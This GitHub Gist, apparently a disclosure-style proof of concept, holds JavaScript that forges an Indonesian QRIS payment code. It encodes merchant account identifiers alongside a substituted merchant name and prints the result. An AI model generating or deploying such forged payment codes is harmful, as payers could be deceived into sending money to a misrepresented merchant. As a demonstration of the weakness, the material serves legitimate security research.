Created
April 14, 2023 09:31
-
-
Save reinhart1010/33f16eb2e779042f0b06f8c2adfb055b to your computer and use it in GitHub Desktop.
Proof-of-Concept Pemalsuan QRIS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict'; | |
const { Qris, MerchantAccountInfo, AdditionalDataField, encode } = require('qris/mpm'); | |
let mai = new MerchantAccountInfo() | |
mai.globallyUniqueIdentifier = "ID.CO.TELKOM.WWW" | |
mai.merchantPan = "936008980290034873" | |
mai.merchantId = "000195290034873" | |
mai.merchantCriteria = "UMI" | |
let mai51 = new MerchantAccountInfo() | |
mai51.globallyUniqueIdentifier = "ID.CO.QRIS.WWW" | |
mai51.merchantPan = "" | |
mai51.merchantId = "ID1022147754108" | |
mai51.merchantCriteria = "UMI" | |
let adf = new AdditionalDataField() | |
// adf.billNumber = "08270002043020" | |
adf.mobileNumber = "" | |
adf.storeLabel = "" | |
adf.loyaltyNumber = "" | |
adf.referenceLabel = "10002743331" | |
adf.customerLabel = "10002743331" | |
adf.terminalLabel = "A17" | |
adf.purposeOfTransaction = "" | |
adf.additionalConsumerData = "" | |
let qris = new Qris() | |
qris.payloadFormatIndicator = "01" | |
qris.pointOfInitiationMethod = "12" | |
qris.merchantCategoryCode = "5499" | |
qris.transactionCurrency = "360" | |
// qris.transactionAmount = "52750" | |
qris.countryCode = "ID" | |
qris.tipOrConvenienceIndicator = "" | |
qris.merchantName = "Ini Nayla Bukan Reinhart" | |
qris.postalCode = "10260" | |
qris.merchantCity = "Jakarta Pusat" | |
qris.merchantAccountInformation = encode(mai) | |
qris.merchantAccountInformation51 = encode(mai51) | |
qris.additionalDataField = encode(adf) | |
const qrData = encode(qris) | |
console.log(qrData) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment